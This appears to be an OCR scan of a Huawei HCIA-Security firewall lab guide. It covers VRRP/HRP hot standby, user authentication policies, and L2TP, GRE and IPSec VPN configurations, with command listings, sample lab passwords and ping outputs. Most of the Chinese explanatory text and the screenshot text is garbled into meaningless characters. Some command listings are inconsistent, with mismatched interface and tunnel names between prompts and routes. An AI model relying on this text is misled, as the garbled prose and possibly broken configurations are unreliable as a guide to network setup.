Fic & RE #LIPHb i AL EVRRPEZ {340 1402
3 MEBRERE | BITHEERLZERIE | BETTrustEUntrust XI55 1%

72 LIS E
7.2.1 L& B

1 EREEARN IPHUAFELZ X, FAMTHRZEEKK.
2T ARERE, FMH A AEEEN, USG6330-1 E, USG6330-2 A,

722 BLE ZIR-CLI

L1 =H USGE330-1 £ TS EONRSE. BEEED P HMAENZL X,

<USG6330-1> system-view

[USG6330-1] interface GigabitEthernet 1/0/1
USG6330-1-GigabitEthernetl/0/1] ip address 10.1.2.1 255.255.255.0
USG6330-1-GigabitEthernetl1/0/1] quit

USG6330-1] interface GigabitEthernet 1/0/4

[
[
[
[USG6330-1-GigabitEthernetl/0/4] ip address 40.1.1.1 255.255.255.0
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[USG6330-1-GigabitEthernetl/0/4] quit

[USG6330-1] firewall zone trust

[USG6330-1-zone-trust] add interface GigabitEthernet 1/0/1
[USG6330-1-zone-trust] quit

[USG6330-1] firewall zone untrust

[USG6330-1-zone-untrust] add interface GigabitEthernet 1/0/4
[USG6330-1-zone-untrust] quit

fic & #2 1 GigabitEthernet 1/0/1 ] VRRP &340 1, FNAZIRE A Active §J VGMP EIE4H.,

[USG6330-1] interface GigabitEthernet 1/0/4

[USG6330-1-GigabitEthernetl1/0/4] vrrp vrid 1 virtual-ip 2.2.2.1 255.255.255.0
active

[USG6330-1-GigabitEthernetl1/0/1] quit
fic & #2 0 GigabitEthernet 1/0/3 {J VRRP &134H 2, FNIAZEIRE A Active §J VGMP EIE4H.,
[USG6330-1] interface GigabitEthernet 1/0/1

[USG6330-1-GigabitEthernetl/0/1] vrrp vrid 2 virtual-ip 10.1.2.3 active
[USG6330-1-GigabitEthernetl1/0/1] quit

IR 2 5TAL USG6330-1 B0 BREEEE o
B2 & GigabitEthernet1/0/3 H IP bt o

[USG6330-1] interface GigabitEthernetl/0/3
[USG6330-1-GigabitEthernetl/0/7] ip address 30.1.1.1 255.255.255.0
[USG6330-1-GigabitEthernetl/0/7] quit

fic & GigabitEthernet1/0/3 i A DMZ X3

[USG6330-1] firewall zone dmz

[USG6330-1-zone-dmz] add interface GigabitEthernetl/0/3
[USG6330-1-zone-dmz] quit

}57E GigabitEthernet1/0/3 J9.0:Bk 0o

[USG6330-1] hrp interface GigabitEthernetl/0/3 remote 30.1.1.2
SIB 3 FE Trust X1 Untrust (X1 1% (6] 4 4 S5 HE
fid & Trust X 18F0 Untrust X 18 gy e 845 & RS o

HRP A[USG6330-1] security-policy

HRP _A[USG6330-1-policy-security] rule name policy sec
HRP A
HRP A

USG6330-1-policy-security-rule-policy sec] source-zone trust

destination-zone untrust

[
[
[
[USG6330-1-policy-security-rule-policy sec
[
[

1
HRP _A[USG6330-1-policy-security-rule-policy sec] action permit
]

HRP A[USG6330-1-policy-security-rule-policy sec

£ 4 B HRP SATNRE.

[USG6330-1] hrp enable

quit

$IB 5 FE USG6330-2,

USG6330-2 1 LA USG6330-1 HIECEEAMER, TRZLAET:
1. USG6330-2 &2 MKY IP #itl 5 USG6330-1 &2 H) IP sk F4EE
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2. USG6330-2 i 55420 GigabitEthernet1/0/1 F1 GigabitEthernet1/0/4 i NIRZS A Standby
VGMP EIE4H.,

S 6 B Switch,
DHAEFE Switch I=DMEOMAR— VLAN, SREBIT, NFEEIESEIHAAIHERXL
(=R

723 BLE T E-Web

BT TR USG6330-1 Bk NiiE . HiF ‘MK > 8O .
$EFEMBENFENRESRD 7 . RROEEIHASTSY, £F B A
GigabitEthernet1/0/1 # O i B W& FoR:

#ZekGigabitEthernet

FEOEH A
Bl

ERR® public vl

EREE [ st B

L e P R =il O

IPvd  IPV6
fea e 2l o BEIP DHCP PPPoE
P44t | 1021124 | iR,
$HEh0 “1.1.1.1/255.255.255.0°
FE 111124

EatiZEs
EiADNSHRS 2§
HFDNSHRS 2

“SZUHIE TR

GigabitEthernet1/0/3 F0 GigabitEthernet1/0/7 Bt & 2510
IR 2 5TRL USG6330-1 By k3% VRRP &340 1 F1 VRRP &144H 2 BB

TR ‘RS > BUEM > WA, BiE ‘BRE7, EH ‘BR’ AINERER, RUOT
SHICE:
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B L 7 x
T v B ~
ST (D o EEEM [Ekanvat il
IETRE® o EA &

LEED (2 GE1/0/3 o+ EE] Pt - FIREOIP 30142 .
ESolE =16 v BB
Helloff 3 BI#A(2) 1000 =500-60000=25¢)
»| EEEUPHHL
127 SikEROTET=EREE RN SEETENIPHL-
aF EE 88 ik i RilER
VRID 0 EOIPHh RS 5 [l B T2
2 GE1/0/1 10.1.2.1/24 10.1.2.3/24
1 GE1/0/4 40.1.1.1/24 2.2.2.1/24
Bl EsiE SARTES 50|~ Bni-2 #2%
v
HR5E HLH

USG6330-2 Bk IEEE B 5 USG6330-1 [ ke AA—EL, B&.
FTB 3 AW HRENEERE A UEE W REHRSER.

I AG
AR
=i A == ]
HRIZTHE, EEEN
HAEETRE R OHAEIETERTE: 0 & 0 B 0 &) =2
SaLLHEED GEL/0/3 (RS {EFAEE 0. 00%)
Eifud ERA
FRE Bt Mgk GemirtiE -0/0/0 00:00:00) [E= I i
4 gERIP
10. 1. 2. 3(6E1/0/1) © Bty e
2.2.2.1(GE1/0/4) © 35
4 @ HBOEEK | vy
4 IP-Link
4 BFD

£ 4 BB USG6330-1 B k Siskja) e 4 58 o

Trust 5 untrust [B) 32 % SRS IXIF KBS > Z2KE > TR . £ “TEERBIIXR
, BEF “OE’. MRBAREERENSEH. 2iE “HE’. S Trust 5 untrust @5 %
RN E FoR
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1 E: e o ? X
k=t policy_sec = ~
Hik
B trust +| JEE#E
BA1EZ Ei untrust Il E5=
fL =@ any
BRhAnE () any
B B IEAR || il
xR EEERATERA 3]
EREINEREEE . S5 ESMOAIE: - TEEF S
& SEEEENRrEE-
B iEk iR Elk =
EfE * TR =414
MEEZE
=t — NONE — v EE

- EX T U

FHE R BEN D E EEN REE Fseiacid S eR 2R RER

E=1e

Dirust Buntrust

policy_sec

7.3 ZERIGIE
731 EFHXER

EEERE BHHEE..

Bt iR BoihtihR | RS (i)

any any any any

B Rl | 1A B R

Qi | EERE & ERE
AR BA £
(- M @

7£ USG6330-1 #1147 display vrrp 454, #2 VRRP ARNEOKRSEER, BERUTEERRE

VRRP ZH#E 37 A T o

HRP A<USG6330-1>display vrrp

GigabitEthernetl1l/0/4
State
Virtual IP
Master IP

: Master

PriorityRun 120
PriorityConfig
MasterPriority
YES
60 s
60 s

NONE

Preempt

TimerRun
TimerConfig
Auth type

Virtual MAC
Check TTL YES
Config type

Backup-forward

GigabitEthernetl/0/1
State
Virtual IP

: Master

2.2.2.
40.1.1.

| Virtual Router 1

1
1

100
120
Delay Time : O s

0000-5e00-0101

vgmp-vrrp
disabled

| Virtual Router 2

10.1.2.3
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Master IP : 10.1.2.1
PriorityRun : 120
PriorityConfig : 100
MasterPriority : 120
Preempt : YES Delay Time : 0 s
TimerRun : 60 s
TimerConfig : 60 s
Auth type : NONE
Virtual MAC : 0000-5e00-0102
Check TTL : YES
Config type : vgmp-vrrp
Backup-forward : disabled
#£ USG6330-1 F#14T display hrp state 654>, #Z5MFT HRP FUIAES, BRI TEEFR HRP &2
SR
HRP A<USG6330-1>display hrp state
The firewall's config state is: ACTIVE
Current state of virtual routers configured as active:
GigabitEthernetl/0/1 vrid 2 : active
GigabitEthernetl/0/4 vrid 1 : active

FE40 T Trust X159 PC1 3% ping VRRP £ 2 B EEHL IP Hidik 10.1.2.3, 7 USG6330-1 ka4
o
HRP A<USG6330-1>display firewall session table
Current Total Sessions : 1
icmp VPN:public --> public 10.1.2.100:1-->10.1.2.3:2048

AILAEH VRRP AHECE IE#fE, £ PC1 umBES ping 18 VRRP 48 2 Y REHL IP Hhilt.

PC2 "E AR 2R T Untrust Xig. £ Trust XigAY PC1 umBETS ping i@ Untrust XIgip AR 55
22, S HI#E USG6330-1 1 USG6330-2 FHELIE.

HRP A<USG6330-1>display firewall session table
Current Total Sessions : 1
icmp VPN:public --> public 10.1.2.100:1-->2.2.2.2:2048

HRP_ S<USG6330-2>display firewall session table
Current Total Sessions : 1
icmp VPN:public --> public Remote 10.1.2.100:1-->2.2.2.2:2048

A P& H USG6330-2 L7EETH Remote FRICHISTE, RBBINMAEZINGEE, S1ESRH
bjzlj]o

£ PC1 E#IT ping 2.2.2.2 -t , SAEH USG6330-1 By ki G1/0/1 ¥ MZkIk L, IMELRG K
SRS THRE ping BEBIEMR; EH USG6330-1 Bk i G1/0/1 B OM LR E, WWEFH A EIR
SR ping BEEIE .

7.4 FBZ

THAA Wz B&HnNEESET OO ZEMERN, 28T 0BkE (FiRE) Tk
e MFCOBMEONBTAER.
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2 ERYAEE MBS R, ALRAFICEERTE, LT TEE_ERENEES
MHENMRE, BELAWLIWAZHNEAN R, FEI AN EMPLEREEER.
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8 B KiEH R ETESLIR

8.1 LG T4
8.1.1 XF AL

ALRBIAEMEL OVERBREIRE, NEMBARBITARMANERERINE, SEXNTE
A PREE.

8.1.2 SLIG HAY
o IEfFPEEMNEANEREE.
o ERFINMEFAPMEET .
o ERZTHINEAFHEESR.

8.1.3 SEInZAM T 4R

|
D E0/0/3
0.1.1.100

= 1
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8.3 Z5RIvIE
SRS B PR A A TS, BDATRAE Interet.

8 R THEIT HTTP 75) Internet B, USG Redfest FAPOAERUE, 3257 AR PR
B, APREHAEBNEPEME0E, THHEMERE.

BT EEEARE A EFRTRNKE:
s EATEN L FARBRAActivel. SWIA]
LS EIMELM -

SABLESE

<USG6330-1>display current-configuration
sysname USG6330-1
#
ip service-set Authy type object
service 0 protocol tcp source-port 0 to 65535 destination-port 8887
#
ip service-set Auth type object
service 0 protocol tcp source-port 0 to 65535 destination-port 8887
#
time-range worktime
period-range 08:00:00 to 18:00:00 working-day
#
interface GigabitEthernetl1/0/0
undo shutdown
ip address 10.1.1.1 255.255.255.0
#
interface GigabitEthernetl/0/1
undo shutdown
ip address 10.1.2.1 255.255.255.0
#



e

HUAWEI

HCIA-Security LI5S FA7

55 86 71

interface GigabitEthernetl/0/2

undo shutdown

ip address 40.1.1.1 255.255.255.0
#
firewall zone local

set priority 100
#
firewall zone trust

set priority 85

add interface GigabitEthernet0/0/0

add interface GigabitEthernetl/0/1
#
firewall zone untrust

set priority 5

add interface GigabitEthernetl/0/2
#
firewall zone dmz

set priority 50
#
firewall zone name Guest id 4

set priority 40

add interface GigabitEthernetl/0/0
#
security-policy

rule name Guest

source-zone Guest

destination-zone untrust

action permit

rule name Normal

source-zone trust

destination-zone untrust

action permit

rule name Auth

source-zone local

source-zone trust

destination-zone local

destination-zone trust

service Auth

action permit
#
auth-policy

rule name Guest

source—-address 10.1.1.0 mask 255.255.255.0

action none

rule name Normal

source—-address 10.1.2.0 mask 255.255.255.0

action auth
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KREBPIHLER SERE, THoIAERIRS S Serverl, XF Ping MK, ATLATGIE).

C:\Users\admin>ping 10.1.1.10

Pinging 10.1.1.10 with 32 bytes of data:

.1.10: bytes=32 time=3ms TTL=127
1.10: bytes=32 time=lms TTL=127
.1.10: bytes=32 time=1lms TTL=127
1.10: bytes=32 time=lms TTL=127

Reply from 10.
Reply from 10.
Reply from 10.

N

Reply from 10.

Ping statistics for 10.1.1.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = lms, Maximum = 3ms, Average = 1lms

IABLESE
941 LNS HIEii &

#

sysname LNS

#

12tp enable

#

12tp-group gl

allow 12tp virtual-template 0 remote client
tunnel password cipher Passwordl23
tunnel name client

#

interface Virtual-TemplateO

ppp authentication-mode chap pap
remote address 192.168.1.10

ip address 192.168.1.1 255.255.255.0
#

interface GigabitEthernetl1/0/0

ip address 10.1.1.1 255.255.255.0
#

interface GigabitEthernetl/0/2

ip address 20.1.1.1 255.255.255.0
#
firewall zone trust

add interface GigabitEthernetl/0/0
#
firewall zone untrust

add interface GigabitEthernetl/0/2
add interface Virtual-TemplateO
#
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security-policy
rule name 12tpl
source-zone trust
destination-zone untrust
source-address 10.1.1.0 mask 255.255.255.0
action permit
rule name 12tp2
source-zone untrust
destination-zone trust
destination-address 10.1.1.0 mask 255.255.255.0
action permit
rule name 12tp3
source-zone local
source-zone untrust
destination-zone local
destination-zone untrust
service 12tp
action permit
#
return
# UTSIZAPNEERETEIERE, FEREXHEI
user-manage user user(001
parent-group /default
password Admin@123

95 B=Zm
MEBF AL LSRN 2tp1 MR, IRS2EBALARIN? 185 B P25 A e A M AR

%558 Server1?



e

HUAWEI HCIA-Security LI5S F A7 %99 7
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EZEHN gre3 KRBT HR B R gre IRBT .
EnZeEk
foT: #EETE L BT iRt R e - ARG o (R EERRE ]
k= ared| *
it
o2 - MOME - v
e EIEAE AT
BEEE local,untrust ~ || [T
Bz i local, untrust || I
[RMEAES (2) any
Byt (2 ary
AR any [ 1%]
AR any
ZimEE ) any
AR (2 gre
FzFd any ikl
URL& 2 any (%]
AdiElke any ~
ZhiE * TR

B K3 FW2 R 2 RIR LB S FW1,

+ AL
10.3 L5 RIGUF
Serverl 3R Ping &n iR E| PCT FYZEE .

C:\Users\admin>ping 10.1.2.10

Pinging 10.1.2.10 with 32 bytes of data:
Reply from 10.1.2.10: bytes=32 time<lms TTL=128
Reply from 10.1.2.10: bytes=32 time<lms TTL=128
Reply from 10.1.2.10: bytes=32 time<lms TTL=128
Reply from 10.1.2.10: bytes=32 time<lms TTL=128
Ping statistics for 10.1.2.10:

Packets: Sent = 4, Received = 4, Lost = 0 (0%
Approximate round trip times in milli-seconds:

Minimum = Oms, Maximum = Oms, Average = 0ms

PC1 L3R H Ping a3 MiRZE Server @4 o
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C:\Users\admin>ping 10.1.1.10

Pinging 10.1.2.10
Reply from 10.1.1.
Reply from 10.1.1.
Reply from 10.1.1.
Reply from 10.1.1.

with 32 bytes of data:

bytes=32 time=2ms TTL=127
bytes=32 time=lms TTL=127
bytes=32 time=1lms TTL=127
bytes=32 time=lms TTL=127

10:
10:
10:
10:

Ping statistics for 10.1.1.10:

Packets: Sent = 4,

Received = 4, Lost = 0 (

Approximate round trip times in milli-seconds:

Minimum =

Maximum = 2ms, Average = lms

FW1 E&EZE GRE Lizf5 8.

Huawei

=
= e
@ IPSec

gap LITP

Wb GRE
=PGRE
O[=zx]
DSWPR
S5L WP
9 TsMEzh

104 BEESE

10.4.1 FW1 WL E

#
sysname FWl
#

DHCPRRS 22

S=b LITP over IPSec

(:)

GREXIERIE

Eif |I=]
[GREEIE RIS

AdRETE 12
PRC E 1,008
ARSI 12
ISR ]
B RIR S ]
IeballEsss it ]
[ GREREE St nEEE]

AR s 30
b= 2,292
EARSHIR S 4
GREREETHERR 1]
FARRGRES S HM{TEEAHR 2 26

interface GigabitEthernetl/0/0
ip address 10.1.1.1 255.255.255.0
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service-manage ping permit
#
interface GigabitEthernetl/0/1
shutdown
#
interface GigabitEthernetl1l/0/4
undo shutdown
ip address 40.1.1.1 255.255.255.0
service-manage ping permit
#
interface Tunnell
ip address 172.16.1.1 255.255.255.0
tunnel-protocol gre
source 40.1.1.1
destination 40.1.1.2
#
firewall zone trust
add interface GigabitEthernetl/0/0
#
firewall zone untrust
add interface GigabitEthernetl/0/4
#
firewall zone dmz
add interface Tunnell
#
ip route-static 10.1.2.0 255.255.255.0 TunnelO
#
security-policy
rule name grel
source-zone trust
destination-zone dmz
source-address 10.1.1.0 mask 255.255.255.0
destination-address 10.1.2.0 mask 255.255.255.0
action permit
rule name gre?2
source-zone dmz
destination-zone trust
source—-address 10.1.2.0 mask 255.255.255.0
destination-address 10.1.1.0 mask 255.255.255.0
action permit
rule name gre3
source-zone local
source-zone untrust
destination-zone local
destination-zone untrust
service gre

action permit
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return

10.4.2 FW2 BB &

#
sysname FW2
#
interface GigabitEthernetl/0/0
shutdown
#
interface GigabitEthernetl/0/1
undo shutdown
ip address 10.1.2.2 255.255.255.0
service-manage ping permit
#
interface GigabitEthernetl/0/4
undo shutdown
ip address 40.1.1.2 255.255.255.0
service-manage ping permit
#
interface Tunnell
ip address 172.16.1.2 255.255.255.0
tunnel-protocol gre
source 40.1.1.2
destination 40.1.1.1
#
firewall zone trust
add interface GigabitEthernetl/0/1
#
firewall zone untrust
add interface GigabitEthernetl/0/4
#
firewall zone dmz
add interface Tunnell
#
ip route-static 10.1.1.0 255.255.255.0 TunnelO
#
security-policy
rule name grel
source-zone trust
destination-zone dmz
source—-address 10.1.2.0 mask 255.255.255.0
destination-address 10.1.1.0 mask 255.255.255.0
action permit
rule name gre?2
source-zone dmz
destination-zone trust
source—address 10.1.1.0 mask 255.255.255.0
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destination-address 10.1.2.0 mask 255.255.255.0
action permit
rule name gre3
source-zone local
source-zone untrust
destination-zone local
destination-zone untrust
service gre
action permit
#

return

10.5 =&/
WRFAZRPHA N REZEOAMIREENEAME, 2EERPWLRER? ATA?
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11.3 Z5RIGE
PC1 F ping &< UiXE] Server1 AR 4o
C:\Users\admin>ping 10.1.1.10

Pinging 10.1.1.10 with 32 bytes of data:

Reply from 10.1.1.10: bytes=32 time=2ms TTL=126
1.10: bytes=32 time<lms TTL=126

Reply from 10.1.1.10: bytes=32 time<lms TTL=126
1.10: bytes=32 time<lms TTL=126

Reply from 10.1.
Reply from 10.1.
Ping statistics for 10.1.1.10:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = Oms, Maximum = 2ms, Average = 0ms

FW1 F0 FW2 FIEFR"R4& > IPSec > 512", EHFKREYIER, ATIET IPSec HEZEMIEE.

IPSeckiERIE
&2 fies
w=RaE EERE KE Fegibhl wsHhE B thERRR
@ BHEERO]: 101.1.070
policy puhlic S:EEngm 401141 401.1.2 ESP-AES-256- B tEERO]: 101.2....
2 =1 .
s any
IPSeck iEHIE
52 e
=R EERE B Anctbht sl HE TR
@ BHEERO]: 101.2.00.
policy public IT;}IKEH}%EE];] 40112 40111 ESP-AES-256- BRMEEEO: 101.1....
© iPsecthi. .. i —

114AGRESE

11.4.1 FW1 L E

#

sysname FW1

#

acl number 3000

rule 5 permit ip source 10.1.1.0 0.0.0.255 destination 10.1.2.0 0.0.0.255
#

ipsec proposal propl9412242869

#
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ike proposal 1

#

ike peer 1kel94122428696
exchange-mode auto

pre-shared-key Test!123
ike-proposal 1

remote-id-type ip

remote-id 40.1.1.2

local-id 40.1.1.1

remote-address 40.1.1.2

#

ipsec policy ipsecl941224289 1 isakmp
security acl 3000

ike-peer 1kel94122428696

proposal propl9412242869

tunnel local applied-interface

#

interface GigabitEthernetl1/0/0
undo shutdown

ip address 10.1.1.1 255.255.255.0
service-manage ping permit

#

interface GigabitEthernetl/0/1
shutdown

#

interface GigabitEthernetl/0/2
shutdown

#

interface GigabitEthernetl/0/4
undo shutdown

ip address 40.1.1.1 255.255.255.0
service-manage ping permit

ipsec policy ipsecl941224289

#

firewall zone trust

add interface GigabitEthernetl/0/0

#

firewall zone untrust

add interface GigabitEthernetl/0/4

#

ip route-static 10.1.2.0 255.255.255.0 40.1.1.2

#

security-policy

rule name ipsecl
source-zone trust
destination-zone untrust
source—address 10.1.1.0 mask 255.255.255.0
destination-address 10.1.2.0 mask 255.255.255.0
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action permit

rule name ipsec?2
source-zone untrust
destination-zone trust
source-address 10.1.2.0 mask 255.255.255.0
destination-address 10.1.1.0 mask 255.255.255.0
action permit

rule name ipsec3
source-zone local
destination-zone untrust
source-address 40.1.1.1 mask 255.255.255.255
destination-address 40.1.1.2 mask 255.255.255.255
action permit

rule name ipsec4d
source-zone untrust
destination-zone local
source—-address 40.1.1.2 mask 255.255.255.255
destination-address 40.1.1.1 mask 255.255.255.255
action permit

#

return

11.4.2 FW2 BB &

#

sysname FW2

#

acl number 3000

rule 5 permit ip source 10.1.2.0 0.0.0.255 destination 10.1.1.0 0.0.0.255
#

ipsec proposal propl9412254440
#

ike proposal 1

#

ike peer 1kel94122544409
exchange-mode auto
pre-shared-key Test!123
ike-proposal 1

remote-id-type ip

remote-id 40.1.1.1

local-id 40.1.1.2
remote-address 40.1.1.1

#

ipsec policy ipsecl941225446 1 isakmp
security acl 3000

ike-peer 1kel94122544409
proposal propl9412254440

tunnel local applied-interface
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#
interface GigabitEthernetl/0/0
shutdown
#

interface GigabitEthernetl/0/1
undo shutdown
ip address 10.1.2.2 255.255.255.0
service-manage ping permit
#
interface GigabitEthernetl/0/4
undo shutdown
ip address 40.1.1.2 255.255.255.0
service-manage ping permit
ipsec policy ipsecl941225446
#
firewall zone trust
add interface GigabitEthernetl/0/1
#
firewall zone untrust
add interface GigabitEthernetl/0/4
#
ip route-static 10.1.1.0 255.255.255.0 40.1.1.1
#
security-policy
rule name ipsecl
source-zone trust
destination-zone untrust
source-address 10.1.2.0 mask 255.255.255.0
destination-address 10.1.1.0 mask 255.255.255.0
action permit
rule name ipsec?2
source-zone untrust
destination-zone trust
source—address 10.1.1.0 mask 255.255.255.0
destination-address 10.1.2.0 mask 255.255.255.0
action permit
rule name ipsec3
source-zone local
destination-zone untrust
source—address 40.1.1.2 mask 255.255.255.255
destination-address 40.1.1.1 mask 255.255.255.255
action permit
rule name ipsecéd
source-zone untrust
destination-zone local
source—address 40.1.1.1 mask 255.255.255.255
destination-address 40.1.1.2 mask 255.255.255.255

action permit
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#

return

11.5 BZ
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